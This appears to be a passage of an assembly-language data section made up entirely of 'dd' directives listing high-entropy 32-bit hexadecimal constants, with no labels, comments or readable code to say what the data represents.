dd 0DB298F71h, 7ACF689Ah, 887CC570h, 8FF7C835h, 0E2F83E67h
dd 0B64428FDh, 7E22D0A9h, 61EB2F55h, 14BEBFC1h, 1917DD80h
dd 67F401CDh, 80C8922Dh, 89475AA8h, 81C24CACh, 7B47F6DFh
dd 0EB3C716Ah, 192E35B7h, 0D0FB9531h, 16A79BADh, 329B16DDh
dd 0EC4EF6F8h, 2B011F17h, 0A5DBB7F0h, 5E2C66C1h, 0BD86328Ah
dd 2A424FFCh, 23365E8h, 0BEA5DB45h, 3942B862h, 9BF9958h
dd 1A8569D8h, 0ACA51ACh, 0EE81DE67h, 37338C34h, 3A333254h
dd 1878EA53h, 37DBCCE4h, 0CBA06FAEh, 0EC3E9814h, 23916E11h
dd 6D0254Ah, 60D35D6Dh, 274AA930h, 0CED921D7h, 9F8477DAh
dd 8EC560A9h, 0A262D135h, 2BBB9356h, 17BCAA7Eh, 0AF9F5DC5h
dd 0C24903C8h, 7DBD410Bh, 5816F4B2h, 3DE5DAF6h, 8F40295Ah
dd 6C6E62A9h, 49258576h, 14847D29h, 5CC7F4ECh, 0D1F03476h
dd 0A1336677h, 45076DC2h, 28CF6DEBh, 8127EC37h, 0C6B87BF9h
dd 26D214Fh, 1AF6EAh, 2FE33DF5h, 3ACA1751h, 0B63E17EDh
dd 9023F062h, 0DA36F56h, 6C5CF05h, 5BDD6732h, 0B7515B1Dh
dd 0D1A784FEh, 0A75D7AE8h, 1B36A1D4h, 0F759E64Ch, 0B333B3CEh
dd 5905A2E7h, 1BE6EFD6h, 111BB424h, 0BBE92541h, 36D9CFD7h
dd 9BC74AA1h, 9A0BCD27h, 0C64FC664h, 69AE7078h, 588BEFA9h
dd 93123A97h, 6970EDDBh, 921717D6h, 0BDE4325Ah, 3F44F6D7h
dd 14C3B87Bh, 9471BC80h, 0F2BCB209h, 0AC9ED426h, 0BFFF8ECEh
dd 2BE2A18Eh, 884922E3h, 0FD84BB54h, 0EA66F417h, 0C333B53Bh
dd 6040F3E7h, 59328A9Ch, 0B195A879h, 0C12EDA85h, 6D04A26Ch
dd 94F2A85Ch, 0EBF14D89h, 33175B6h, 0FAC805A6h, 13D35286h
dd 0F8B69089h, 824FEE48h, 0EACC62AAh, 0EB94D10Ch, 9E6B4ACAh
dd 3D00D75Eh, 0F3BF0225h, 0AA2F63ACh, 0CAF2A739h, 0D5FCE476h
dd 7544D6B2h, 0AEE52DABh, 0D6F8473Bh, 0CC24098h, 33FB00DFh
dd 0C27F961Ah, 21C44160h, 5BA163E1h, 7CD8C5ACh, 0D2CF4917h
dd 28875BCCh, 86B794DBh, 0E6DB86A1h, 0BDAE0B4Fh, 0CC435DAFh
dd 0A0EADF7h, 311029E3h, 0B58DBD80h, 6F3D9AF2h, 0F354F58Eh
dd 0ABF94AF4h, 9B2068FAh, 0EC4FBA93h, 0BA58FD3Bh, 9F2C835Bh
dd 0FBF53F53h, 1ED62430h, 82D76396h, 4121AC7Dh, 3EA4E4B2h
dd 427BA51Ah, 0C13C44CBh, 17ABA862h, 0DAEBAA50h, 0BF75CFABh
dd 7321F683h, 285919D8h, 0DEDE1971h, 0C5B5ADF6h, 0F584BF68h
dd 0A8A13345h, 0E2DBCBBh, 3357FC05h, 0ABA3E360h, 79F91E77h
dd 26931DB3h, 0BC3CAEB2h, 55AA8986h, 43C84BB9h, 5CAE8499h
dd 0C217A295h, 875D6AEFh, 2D19268Dh, 0D38903A4h, 28FC3282h
dd 262EF049h, 0D7E6C4ADh, 90D05807h, 0B30E56AAh, 0CE03D00Bh
dd 0DD443607h, 0DD599C40h, 588BF53Ch, 0FD08FEDAh, 634F4379h
dd 0CC7432C2h, 0C599AB69h, 0AED16E0Bh, 0F25C58E1h, 0E197653Dh
dd 1E8AF156h, 0B274B693h, 0EC363F26h, 236F0745h, 0FE6F2C6Eh
dd 0D8A17231h, 0F87D1681h, 0DE8915D0h, 4851C50Dh, 63309FCAh
dd 47D4FD9Ah, 0A0C7E850h, 4B0C311Dh, 4BA21660h, 6F7A982h
dd 7A589418h, 0DA8C1EEFh, 0B7C588A4h, 73EFB9Dh, 0CC9D42F3h
dd 0C5F81DCFh, 8FD0C5EDh, 0BE349B60h, 16BBBFh, 2646839Dh
dd 38C64462h, 3B611446h, 8DDE67CCh, 2D64E489h, 3832CA5Ch
dd 0D7E01D34h, 838224A1h, 307ABBCCh, 490F82AAh, 0D63EE341h
dd 4204C6FEh, 0F575E4AFh, 0A368794Ah, 4AD261E3h, 3E2D62F9h
dd 0D9492FFh, 436D6E18h, 8D912846h, 0F66D664Fh, 3691D196h
dd 3FEDB57Ch, 1D089E7Bh, 1191270Bh, 0C703F287h, 0BCE1AB2Fh
dd 0E0BF4203h, 1A0C414Fh, 4D66E855h, 5FF5ABEBh, 0A46F835Dh
dd 66FE9B4Eh, 0B07CD6ADh, 99143643h, 45A233F9h, 1375FFC0h
dd 0B32707BFh, 27575DD6h, 0DFAC7549h, 0DF1CC9DEh, 6B852495h
dd 0C4AA3F82h, 352CDCAEh, 0D5079F3h, 16932DFh, 2101D05h
dd 1FBC4C3Ch, 0CC22D34h
dd 8D185B7h, 3A7EF766h, 70106193h, 45A148BEh, 0E658A799h
dd 2A679900h, 0C879B159h, 9649941Dh, 14D5A068h, 7D780757h
dd 11BFAE4Bh, 0E41E1FDDh, 0EB756FD6h, 9B224AE6h, 125B3548h
dd 5482AF09h, 0B0ECDAA3h, 0D48E6091h, 796AC7F5h, 0B8864BDFh
dd 363CCE10h, 829B36E3h, 249D5764h, 510C99D9h, 1E08DDF7h
dd 807F3D91h, 1CBDE9C8h, 8B6C4855h, 0D054F07Dh, 8382B2FAh
dd 46CEDE7Ah, 0DAAB9F03h, 7E7F8D95h, 5C71BCC5h, 507CF4AEh
dd 6FCB39D6h, 270AD6A2h, 20583565h, 9F676AF1h, 2C1E0F21h
dd 0B1EC38E9h, 1861B391h, 18956E5h, 59CB0216h, 5BF755CBh
dd 0CD62BEF8h, 0B7AFAB8Ch, 24E4B3AEh, 0E2AFCC9Ch, 7703EA8Eh
dd 503F806Eh, 7DEFB7EEh, 9CE8CCDAh, 49FC38A2h, 0BB0B3173h
dd 907DC6E3h, 1AA30CBCh, 33054BC8h, 2DA3B8C7h, 0FC10D82Bh
dd 19B5AF0Eh, 0CD394DD0h, 0F8BA206Fh, 0DF862826h, 0E1AABBDFh
dd 31F7ADCEh, 0B69AEAA2h, 0E7C2C267h, 8C8650CAh, 33FAF65Fh
dd 0FECF4541h, 0E9FF0B85h, 6356AF96h, 0B1F37EF6h, 78659E8h
dd 6229BDB5h, 0CA488880h, 6A524A0Ah, 4AF52021h, 0ADE9C8DAh
dd 0D6309441h, 1623F144h, 4D7EC796h, 9B5D636h, 1C280CEEh
dd 0F1B806E1h, 0DC52F046h, 0C63FD43h, 3E13C371h, 85268D5Dh
dd 0D5E17B69h, 2919123Eh, 6A07FE64h, 82D0694h, 0D0CE7A9Ah
dd 4A2BB66Bh, 0ED64FD6h, 6EACDB95h, 0D73CF658h, 0C2DBE4EBh
dd 9C2A88A4h, 0BC77C4B9h, 19C11211h, 0BB5A33DBh, 9B7E7CA6h
dd 68C9C1E3h, 8811394Eh, 0EDA711F4h, 0C3B2D14Eh, 532260BFh
dd 0DF2AFF9Ah, 0A1BDF262h, 0C51E8F4Bh, 1F2E6A32h, 1606F44Eh
dd 8E637A05h, 9C2AFBE2h, 0A24CD287h, 13A3F16h, 9CD84B20h
dd 8B5A50C3h, 46645461h, 91D51127h, 0F656347Bh, 37D5D85Ah
dd 4E97C079h, 8CAB94CDh, 0CF7D3EDBh, 6961865Dh, 8A8AB4E9h
dd 975FDD9Dh, 6C14219Fh, 0B6AFFEECh, 909174B9h, 2AFB6DD3h
dd 117C1659h, 9FE37898h, 743610ABh, 7AE2E88Fh, 0CB87DAABh
dd 63604A12h, 5B938ECDh, 91DD43ECh, 7E7A6586h, 27EA7B1h
dd 2787EC79h, 0C67BCD78h, 67D7F05Ah, 45D1B654h, 0F3D8B677h
dd 0C892554Fh, 0A9822A26h, 26F2676Eh, 0B307C50Fh, 2CAD5F20h
dd 305AF60Bh, 0F65A89ADh, 2D60956Ah, 5AD589CFh, 91F5DDD7h
dd 0F6D01C8Dh, 66FA6BC0h, 3E019E9Ah, 771592FCh, 48D999FDh
dd 0C8B7F746h, 0AE72138h, 6307DE51h, 0E2D02539h, 2944D5B0h
dd 0B8F31806h, 14A66D3h, 9C261CC8h, 0ECCC3726h, 0B0EADD74h
dd 8423AB29h, 0E2F9610Ch, 0A5D887D1h, 0C0F39490h, 2827F6B4h
dd 8B902A1Bh, 0AD5DDF04h, 0A405EBA8h, 0F91988CAh, 0F5205AE8h
dd 473F3718h, 8A8E8C93h, 7B158A1Dh, 7438F8BEh, 0AF140713h
dd 0C6A78BC9h, 3248824Fh, 658ED113h, 0AD4E1774h, 0BD2421ABh
dd 1F26DC7Dh, 0F815F469h, 8558E1Fh, 7EB4FD10h, 0A3A97F93h
dd 93E9D5F6h, 0C35BC206h, 35D01D7Ch, 0CB3A703Bh, 6096DDFFh
dd 5E2D3B8Fh, 52521F56h, 2FB35A36h, 159C1A5Ch, 0CCD4DBA3h
dd 7AA6C98Dh, 0AE17587h, 2499B32Ch, 539741E4h, 0F369A3A3h
dd 0A14ECBE5h, 0A8636731h, 2A28BD26h, 7BEAF0BAh, 0EB5691A1h
dd 0D9A844D4h, 571A523Ah, 0D9CE9A23h, 3029F84Ah, 0F4E2808Ch
dd 0B2B3D539h, 74CF491Bh, 0D0F7878Fh, 5AEB3AB3h, 8560CA71h
dd 0EDE74AA5h, 0D510FF4Dh, 4F5AD578h, 0D86E3CEEh, 0D56E8B15h
dd 9FF58EFFh, 3332BB2Ah, 3B53662Fh, 453DD0CCh, 2490CD0Fh
dd 53B6B091h, 69B38A60h, 36FE9900h, 0DEA5C89Ah, 7BB19B6Dh
dd 8B7C69CDh, 76D5827Bh, 0B3E4FDBBh, 68D74816h, 9E41E3CAh
dd 493E805Eh, 0F53740DBh, 0FD6F76Bh, 0EB3BD7F8h, 8B5E759h
dd 96418E43h, 374E52F3h, 0C9D10192h, 411BCBFDh, 1DE766CFh
dd 19D7FF4Eh, 0F6A7B048h, 9DAADFFFh, 9134670h, 6A8A4535h
dd 1171A4ADh, 428C9A8Bh, 82914C7Bh, 0C7C5FCEDh, 38FB09E4h
dd 990E6641h, 17E0128h, 30FD6B27h, 6415D850h, 515BEDD4h
dd 0B9E360D6h, 0B41364E0h, 39DA4169h, 75588E0Eh, 0A9D1F731h
dd 0A07D887Ch, 53195989h, 0DBAFAA4Bh, 0D9E22CEFh, 0BEF852B6h
dd 24B69287h, 20C95E48h, 0FF30EE56h, 8D40A675h, 4D428BBFh
dd 0CF69FB8Ah, 0EF52F69Eh, 0F61175F0h, 94CD5793h, 48245798h
dd 0C8696AD1h, 525DD25Fh, 5A677AC9h, 69FBD08Ah, 6F43BA9h
dd 83DE7C88h, 6BE70DE6h, 60497098h, 2E49E7F1h, 46838858h
dd 6270D0EEh, 74B4E936h, 0EA2665D6h, 0ED0DDE58h, 0A52402DDh
dd 5330D80h, 0ED0359CBh, 0F0E0AAAh, 7ABC3AD2h, 27ED8F79h
dd 0E831F0E9h, 507BE9C2h, 8D6FC950h, 4281A15Eh, 4B5B18AFh
dd 56FBEB8h, 5BDD2D69h, 772D0BB7h, 29BDFF85h, 823C52C6h
dd 3856D0FDh, 0FE43F582h, 80A40CB2h, 2293C9E7h, 0B470F665h
dd 22192E67h, 348A9B88h, 23A96211h, 0FDFB1BAFh, 0E699344Ah
dd 746AB203h, 8CD8093Ah, 0F4151128h, 357D12CFh, 0F792AE93h
dd 0B48BF538h, 6305F70Ah, 4DD233CDh, 629928C3h, 8C89C399h
dd 5DC27F97h, 0ED979D83h, 320A3BDCh, 267AC997h, 50AAFC26h
dd 7A2F40DEh, 8D7EB76Fh, 1CC2E8A5h, 4D9FE912h, 8F827350h
dd 0B81290D0h, 0EF2F1B9Ah, 0B4556Dh, 11A3DBE1h, 70878737h
dd 7427C6A5h, 20545EDh, 233419F9h, 0DADD7D74h, 0AAC2C099h
dd 111EBBEFh, 0D1CC7DA7h, 977167h, 0F2E5C4A5h, 4CA8D240h
dd 1D668019h, 0BBC2BC48h, 0B5200A9Eh, 0F77ECBBFh, 7D3EE891h
dd 0E2140A24h, 72EFBD2Bh, 0BC6A1705h, 0F374FCD2h, 3A5E0EAFh
dd 4EEC64FFh, 3CDA5E1Bh, 0F5B2BDCFh, 67F5BE2Eh, 0EF4DC461h
dd 0B5420ED7h, 0E30DBA7Bh, 3E682B16h, 0D37E1EDAh, 4EFCBDDEh
dd 9F587EE8h, 0B1FEEC6Bh, 50A5A34Dh, 45CC312Eh, 7EB8010h
dd 7977B942h, 0D07514A9h, 0E3DE7666h, 0A42C3B79h, 10E76C0Dh
dd 8D55FF4Eh, 9DFABC0Dh, 22E19B28h, 0DDA2DDF9h, 549CC270h
dd 0C8DFDE9Eh, 0D7EC6F39h, 0F1BC4EC3h, 57DD88BFh, 369F3CA1h
dd 38185C92h, 456D75FDh, 0A880BCB0h, 0A9A31997h, 0D6971692h
dd 0B946D715h, 54DEA73h, 0CDF69F74h, 0D1A20447h, 188CA6B0h
dd 5698C4D2h, 119F5FDAh, 628612BAh, 0FEFB3ADBh, 0F9C05462h
dd 0F142C2B6h, 76A7A408h, 18DC525Ah, 1CACFEACh, 0AD7271C5h
dd 0E624F5DDh, 591D926Bh, 8B8916A2h, 4D6F1A7Eh, 8B281BB5h
dd 0AD60A36Fh, 48B079D6h, 60C358EBh, 1CF5DDC8h, 0CEDA1FF2h
dd 0B53739FAh, 0C14C16A8h, 0A774C90Eh, 27F00800h, 62845A60h
dd 925E314Bh, 0BC2DC4DDh, 0FACF106Dh, 0FFC4A3Eh, 91C98C77h
dd 34024B30h, 0DC367A3Bh, 37E81DD3h, 298D054Bh, 50085EFEh
dd 58D20F5h, 0B92D0BD9h, 0D2EA371Eh, 8D08FAF5h, 755CC814h
dd 0E526F1A3h, 0A0E66512h, 0C5B5BF77h, 70771A8h, 84518CCBh
dd 0D22FD5E5h, 9ED0871Ah, 0FDCCC562h, 5D89BA70h, 0DD0984D8h
dd 35045142h, 0F94AE2EFh, 0EFB150E3h, 0CD661C6Eh, 9E111F49h
dd 26B5A719h, 1277ABA5h, 0B15DC450h, 4921F9D8h, 0C96BD6E5h
dd 7BBBD548h, 73B2C036h, 5039BE13h, 0D2E74446h, 1DD574F7h
dd 0DDA45557h, 8F2607FDh, 411F337Eh, 0DA8D985Eh, 4D1518Dh
dd 7EC374BBh, 4D6AE5F8h, 5CCE4FE7h, 5F907E4Eh, 7B38FF63h
dd 9607D556h, 8D48B5Ch, 5B144C7Dh, 0AA0E13C4h, 913B6959h
dd 0FDA51A96h, 27659AD8h, 0B977C172h, 0B0E844BDh, 0FBC897Bh
dd 0AF54F402h, 0EABF7696h, 41B37862h, 58A3C5FCh, 5F429Fh
dd 0CCBC0585h, 2C92DA4Dh
dd 79B86631h, 0CF57BF95h, 6C5CDC9Eh, 7C61AE70h, 0BEBD6C49h
dd 345B12F5h, 3E100D1Ch, 0D057CDCDh, 555E9357h, 139BFC96h
dd 0CD15A37h, 14A573AEh, 62FB5F33h, 8CCE6129h, 0C21249A5h
dd 8DC74A29h, 27D1A08Dh, 706F7D36h, 30E197D4h, 0A60C9A7Fh
dd 285FD733h, 3BC6F006h, 621F460Dh, 46C3AD5Ch, 0E22DFA8Ch
dd 0C40DA1ABh, 25B0996Dh, 9C18E0C7h, 0E56533E4h, 0E5BEE082h
dd 0FE54D022h, 4514CA8Fh, 23D28390h, 0D4AA72E9h, 0A3161F96h
dd 0A495B463h, 5D9B5DCAh, 6A18A4A8h, 0A4E21401h, 7937B3E4h
dd 8635A22Dh, 40D2EA81h, 61F021F9h, 72B3147h, 6E16CD11h
dd 0E65BDC1Dh, 2FAAC07h, 1580135Dh, 28F1FE06h, 0FDB030D1h
dd 0B96F4A0h, 8F0DE0E8h, 0B96BE2E6h, 47DC8DABh, 958028AFh
dd 5310B1C5h, 360A15CCh, 5670AB6Eh, 0C68E9258h, 0CFA78CBBh
dd 25EAD35Eh, 0AFBF1F84h, 713DE57Ah, 90BDD944h, 1B8E09DEh
dd 45900FA3h, 2604C1BAh, 66C3C6E5h, 8959BE46h, 108E10h
dd 7593589Bh, 400DB534h, 0BD0385EFh, 8A078BEh, 40CC31F7h
dd 23CB4033h, 12FFD417h, 2E3C8AAFh, 26780144h, 0DF8E7E69h
dd 0BC6B1B22h, 58BC44D6h, 47613EA7h, 0F43EE3CBh, 2CB79F6Dh
dd 5FD2144Bh, 0C64CA824h, 0F72BEE05h, 41CE793Ah, 0CACA45DFh
dd 0B0F2EE1Fh, 0A93B4C71h, 0BB0FF17Fh, 0CA2A4E86h, 0C8F8421Eh
dd 0F004816Eh, 9099F255h, 94001289h, 43E693B6h, 2EF154B6h
dd 4D815FEFh, 62825A4Fh, 0C57CF1ADh, 0B8BC9483h, 0DFDDE9B2h
dd 0B36A9C11h, 9D62B4EEh, 0BF7A32DCh, 868B5646h, 20B9FCE2h
dd 0DAA47D2Ch, 6E32EB15h, 1B6BAC78h, 2797E690h, 8074765h
dd 995E90Dh, 576DF276h, 14E862D0h, 11473749h, 388F1F10h
dd 1C6D23D4h, 66BF0EEEh, 9D2CD9EFh, 0AC899BD0h, 4D9953BBh
dd 2E3223D8h, 521B1BFBh, 8B589A95h, 93BD2466h, 16D180EAh
dd 6AF8AFD3h, 9B8795ABh, 7B4DC622h, 2D5AF8B4h, 0FD6EC73Ch
dd 80B5F5FEh, 0AC77AF60h, 7EEAA93Bh, 0F3440433h, 1508881Ah
dd 2D990782h, 3E49A3E8h, 0D7CF9927h, 0FE40BFD7h, 0D67BE36Dh
dd 9752881h, 2E2B4CA0h, 0AF7AB2B1h, 5C54FE44h, 22D5E7B2h
dd 9A984B8Ah, 484A8791h, 7299D66h, 2293D705h, 48BD08FCh
dd 0F3643EB8h, 2EEECE3Fh, 0F40F16EEh, 501DBAB5h, 0AF0BCD0Dh
dd 0AAAD280Eh, 8A782F53h, 125C4533h, 5665690Bh, 0C336F78Bh
dd 0B0710428h, 9BC30FDEh, 0B0F94A3Fh, 1098B1C2h, 379D2C8Ah
dd 0A4F85540h, 73CCF240h, 0A15FC960h, 0EBAF4D0Dh, 98E07A25h
dd 0DD12A67Fh, 1E96F3CAh, 755FF38Fh, 7AACEEA4h, 7EC93544h
dd 2756665h, 35EEF38Ah, 0AA455912h, 1A5E17DEh, 0E9F042EDh
dd 0D1E8F787h, 35FAB45Ah, 36384E83h, 90D63ED0h, 0A46EAE6Bh
dd 3E9E5B62h, 92B7FC7Ah, 7421F7BCh, 0C9D749C1h, 0F69A335Bh
dd 11977A3Fh, 0F73A3A11h, 433F6C3Fh, 9B24F922h, 41D0A5B5h
dd 2C42B57Ch, 3AB32AE8h, 88126E7h, 1FC45D8Dh, 78D9227Bh
dd 0D149A476h, 7321D680h, 0CCE319A2h, 0A9F09587h, 52B74AF0h
dd 6D0418B1h, 7A85ABB1h, 92B716E7h, 0CC7028A6h, 3CCC03B4h
dd 47B1BC8Fh, 320731DFh, 7D70DFDCh, 96B6022Ah, 549FD526h
dd 34291054h, 5AD06100h, 0A9F38620h, 0D3F06433h, 82CAB772h
dd 221407DFh, 51CAF5E1h, 20F34933h, 4DD42D6Fh, 713379DDh
dd 0F6C6A66Dh, 0A0069C67h, 23CB78C3h, 8C49CE54h, 0AF3D4E91h
dd 1265957Dh, 6DB1283h, 4B462B28h, 0DC27C99Ah, 79F9AAE7h
dd 16220DDEh, 0D39F1B2h, 5A0BDE34h, 0C0D77EC5h, 0C0188357h
dd 0DE229733h, 0BE404D4Ch, 43CAEA38h, 3047CF6Ah, 32FC7905h
dd 3AA423Fh, 0C281412h, 3BF93235h, 0A4862BD0h, 6827F4C3h
dd 0AB10B964h, 14CCF2EDh, 1D0F019h, 0D5320118h, 800889B3h
dd 24951E25h, 4E71BB87h, 8C16696Ah, 3EBA3C23h, 793FF5F1h
dd 89AD7BC4h, 3E0B6F56h, 6AD71Eh, 28A84C8Dh, 5A0D4E11h
dd 0BED1E0F2h, 0FA344006h, 0EEFFC811h, 6AEA4787h, 9FABC4E0h
dd 1133B67Dh, 0B6E04B31h, 634C5190h, 0C9AB74C9h, 0E842344Bh
dd 8799EEDFh, 2FF5F076h, 0EAC334A7h, 0BDB60079h, 8AF6ACD5h
dd 0C04DAC68h, 0A015C155h, 8750650Bh, 7D6A22C3h, 0EBDC0070h
dd 0C732DB42h, 0FC2C35E2h, 59B08A20h, 0E7CB0896h, 976DAE87h
dd 68F2FBAEh, 0AD1CA907h, 6F8859A4h, 13DDD697h, 285F06EAh
dd 850BF62Bh, 32E03D28h, 55C855E6h, 5422972Ch, 40DC1ECDh
dd 5EA4047h, 9E2EFF6Ch, 6E612844h, 4E7739F6h, 36F2DB48h
dd 81644801h, 848CE094h, 93CC1230h, 69F24B8h, 0CA74FB3Dh
dd 60F46AB4h, 91DA8FFFh, 4782D3B6h, 54DF50C8h, 0FD702ADDh
dd 0D655BFADh, 78DF7E11h, 0EB65C61Ah, 1866972Eh, 0D77435DFh
dd 2CB103F5h, 36D081DBh, 722CF9C3h, 0BF3F9B07h, 4A7E5377h
dd 0F22744E2h, 0BEF1F2ECh, 0AA51FE9Eh, 26D15652h, 705F2D35h
dd 24201E95h, 0C658E437h, 82FBC007h, 0C324D24Bh, 0F8F464Bh
dd 9F18A96Eh, 4CC4569Dh, 91A71C35h, 83BF7D8Ch, 27DF2AC5h
dd 5AEC4F7Eh, 672A1AC4h, 19FE46AEh, 99DB3364h, 0E96BA6h
dd 0CCD12F02h, 0E7F79DB5h, 0BC6CA7F6h, 83C9DE4h, 0BFB8ADB7h
dd 0AD7EDE9Dh, 0B6243EBAh, 23E0E24h, 9D60762h, 651CE54Dh
dd 0D7B2A3AAh, 3534E616h, 0A4AD5838h, 8F636AC0h, 3AD110FDh
dd 39B387B1h, 215B925Fh, 4D048728h, 0D34F4EB9h, 3E37FE74h
dd 2574A97Dh, 7E8F834Bh, 7A10140Bh, 8FA82CFDh, 0E5E2EF79h
dd 5D969B18h, 6A3319D2h, 2E176C23h, 0E6843580h, 4685BBC8h
dd 0F7E5CD1Ch, 0E619F926h, 614ACE60h, 8848DB7h, 0D3CD08D4h
dd 0D200B71Ah, 3379B219h, 0AC6D37E4h, 82C2DC0Eh, 3F2B5216h
dd 83A136F9h, 2B80D7DEh, 0F3870FEDh, 0DA13DE9Eh, 7697D7C6h
dd 7630AE86h, 62572300h, 0F78A0D35h, 0DFB883DCh, 0D0568186h
dd 0AEA68594h, 5F76EA8Bh, 16BE4243h, 0B3161D14h, 47F63D14h
dd 0FE063BF3h, 0BF2BF038h, 62B0DF0Dh, 4CC493CEh, 884EC887h
dd 0B6C7E9CCh, 8C49F73Bh, 3862A0BBh, 0D1C3B375h, 879DC06Ch
dd 45C74DDFh, 1463BCA0h, 7B8B2DBAh, 16572C37h, 0D8D761F1h
dd 70371E0Ch, 30B6D68Fh, 0D4C0FEA7h, 0A3F5D8CAh, 35E314ECh
dd 5F880F5Ah, 0F6B3571Ch, 5DDF8CE5h, 15FDF92h, 0FAC9039Ch
dd 83A9AB8Ah, 6845723Eh, 1538E894h, 0CC6F53BCh, 0DDB20D4Dh
dd 0DAE8AA79h, 0B5D127EDh, 0F884E18Ah, 8743682Dh, 40A7476Eh
dd 55DA7304h, 1CEB3C9Fh, 0F713FD47h, 56A9EB15h, 55D0C570h
dd 7513A58Bh, 0CD4908CAh, 3B084328h, 11F63C26h, 0C6D26E24h
dd 0B5307607h, 0D0A5CEEEh, 1684585Bh, 195651D1h, 0F82D433Fh
dd 0E50928DFh, 9F338117h, 27D94BC2h, 0B2DACF4Ah, 53884888h
dd 429D9C80h, 9F9F69B4h, 37FC7DDDh, 0B9D857BAh, 2881CE79h
dd 8958D3B4h, 0CDAD4CECh, 0BC6E6710h, 0ED3B9765h, 279C2DD6h
dd 6A5ED96Eh, 242E13D2h, 805710E0h, 6DF45A4Bh, 9B7850A8h
dd 0D16621DDh, 1566E5D5h, 0C276C9F0h, 0F08BAAFBh, 0D6D7FC77h
dd 0DF619B44h, 0F2B5E16h, 175BCFC0h, 79790A15h, 927481C6h
dd 56EB22FFh, 0F18027D6h, 56376614h, 0E3B69BDDh, 96A309AEh
dd 6AF1CD72h, 80360631h, 6C72144Ah, 30C21035h, 33FBE44Fh
dd 34054972h, 2C811689h, 89995A13h, 6821732Eh, 0A4410AD3h
dd 0B5953098h, 39867BD4h, 6B36B141h, 7F46D8Eh, 5961B3EEh
dd 4DB243BCh, 0A09AB790h, 0E99ED750h, 91CC4BC4h, 0D11E7B47h
dd 8CCABFA0h, 6CC919E1h
dd 0E9F1CE67h, 801530Eh, 7D695A03h, 81F4D4E8h, 36C87109h
dd 8C5CAE6Bh, 62AB7C2Bh, 809F6481h, 14AD4870h, 0DC690637h
dd 0E6017D96h, 78F79E65h, 76312EF6h, 0FF7DC271h, 7128929Fh
dd 5CD734B1h, 0E678BE61h, 767F2351h, 4D67CB10h, 9360F6B7h
dd 513299DAh, 5BD9CE6Dh, 0B52523EAh, 0CBC16D61h, 0F632E467h
dd 0E077F56Fh, 0CCAC519Bh, 95AD39F0h, 40C1C89Ch, 7CCD2545h
dd 804A33E0h, 9619C280h, 0F3203DE5h, 4510CE30h, 0D18ACB0Ch
dd 0A9EADB04h, 0B867A354h, 207649E4h, 0F6A5AEF4h, 0F273D105h
dd 4E54B7FAh, 0E53AB8F4h, 0FDB7CF10h, 5B565057h, 0E08254CAh
dd 0AD6EE79Eh, 9EE79B2Ch, 0EC0C07DDh, 0B7EA76B4h, 58ACAD71h
dd 0CC43C905h, 0C73BC463h, 8C4FFE50h, 45D88A1Fh, 87AF1AC3h
dd 2B83772Eh, 3506EEDFh, 2AC240D9h, 496B3AB9h, 0F5A7A1F0h
dd 628538F7h, 5D559AFh, 8CEE57EFh, 7466112Fh, 0B44E5D08h
dd 7600F93Ch, 0B1E27CFDh, 9ABC9980h, 6310EC1h, 385FA70Eh
dd 28632BC3h, 7EA5394h, 4DEC9DCFh, 0DB7707A0h, 3CFE579Ah
dd 0D24623F0h, 97CF61h, 0C2BDB5EAh, 0FF707D61h, 12DD12F1h
dd 0C0CB6CFDh, 3BDC252Ch, 0F5073EB2h, 0EED31FA1h, 0C378C90Eh
dd 49FEC744h, 0AA6D6A07h, 0FFCB7BD5h, 420B0AE2h, 0DC88AA5Ch
dd 22E9A9C8h, 978DCC90h, 74F42392h, 4DD6BAFFh, 0D87F62A5h
dd 1EBBAD5Dh, 0C44365A7h, 0F1AE6E0Ch, 0B6CF65FAh, 54C479DBh
dd 34027A3h, 0A3F234C9h, 0BA928C1Ch, 15431BB0h, 46BDE22Bh
dd 87CE57Ah, 5B399FFh, 7EDB5CF5h, 0AE1054E2h, 3F3365ABh
dd 3DDFA769h, 22FF25A2h, 0EF10CBA0h, 0AA111C55h, 850EC772h
dd 476AFB73h, 95AD3C05h, 0D532A3A0h, 539DABC4h, 3156D4C0h
dd 1AFFE5EDh, 0F71E4722h, 0FE4758B0h, 53E67F1Ah, 1F84333Ah
dd 25349966h, 0E6984DF4h, 8D47F2F4h, 9B17C073h, 8C6B80FEh
dd 61B25FA5h, 69116245h, 49A64022h, 0D8C76B04h, 48D28119h
dd 6C7FEA1Dh, 0F039CCD0h, 9E3F95B7h, 577A8814h, 98F2E827h
dd 0BEABF4C9h, 75D40E29h, 635746BFh, 7542FCCh, 0ACE91D72h
dd 5361C6CEh, 54DC0E1h, 0D1970AB1h, 0DA7CB64Eh, 99912CF6h
dd 6B5882DFh, 4BF300E9h, 37032BF9h, 0DF722A0Eh, 0D72C3916h
dd 0A755CAF6h, 21FB1134h, 0B916D573h, 0A195CBFDh, 0C0F9865Fh
dd 55D99DD4h, 0FDD85D50h, 116E170Ch, 8C3C6CD5h, 576CD3B7h
dd 0D359A25h, 218D4F63h, 8DCB652Ch, 25C2DB22h, 8A275441h
dd 0BEE15C25h, 0FD8EFDF8h, 96C58415h, 12287E1Fh, 5853147Fh
dd 5ACC0DE8h, 3C40E6DDh, 0EE681A98h, 899A272Bh, 0D430C5F2h
dd 0F226E47h, 0C6F9BD86h, 0CD1B90FBh, 0B1CA74CAh, 295F7E1Fh
dd 0C646AA89h, 0CD4E8B56h, 53C7FEBCh, 4EB39BAEh, 0FBCA5A1Eh
dd 4DE20197h, 0CEEF68Eh, 1EECB96Fh, 0E37B3ED5h, 0D335161h
dd 4B5E255Fh, 0B93AB070h, 0F358CD4Fh, 0C234F399h, 21EA0364h
dd 0C9B40D24h, 0C6DCB2E4h, 0D02C8DD2h, 257BD04Fh, 864DCF3h
dd 7D601CC9h, 993B7197h, 0B3CA20FBh, 7C613AFAh, 8FEAAC0h
dd 0B6646507h, 0E5F0F25Ch, 0D5097DB3h, 0BB9A385Ah, 8835045Eh
dd 9EBC38EAh, 0F0FA7B8Bh, 77D348C9h, 0F0CEA9C1h, 19A1A50Ch
dd 7EB4115Ah, 8A3E4FC4h, 1094A6DCh, 366AEA66h, 169EF4E4h
dd 5874AD19h, 0E9AEEE71h, 251BB72Eh, 2C0A398Bh, 0E23530EFh
dd 0A64881EBh, 813CE53Fh, 5DE066Eh, 205EF27Ch, 9BB88758h
dd 196A2D53h, 5AEDB290h, 2C0FA72Dh, 6E1B7295h, 0A1266095h
dd 967E2F66h, 0A23F389Bh, 6AFB1222h, 91565FEDh, 0BE2EE3ABh
dd 13C9ECD2h, 9409E2E8h, 1FDCE13Ah, 8AC164C6h, 75024615h
dd 9E16C0D6h, 868BB522h, 0E2DA468Bh, 0BE76DB05h, 45E83CEFh
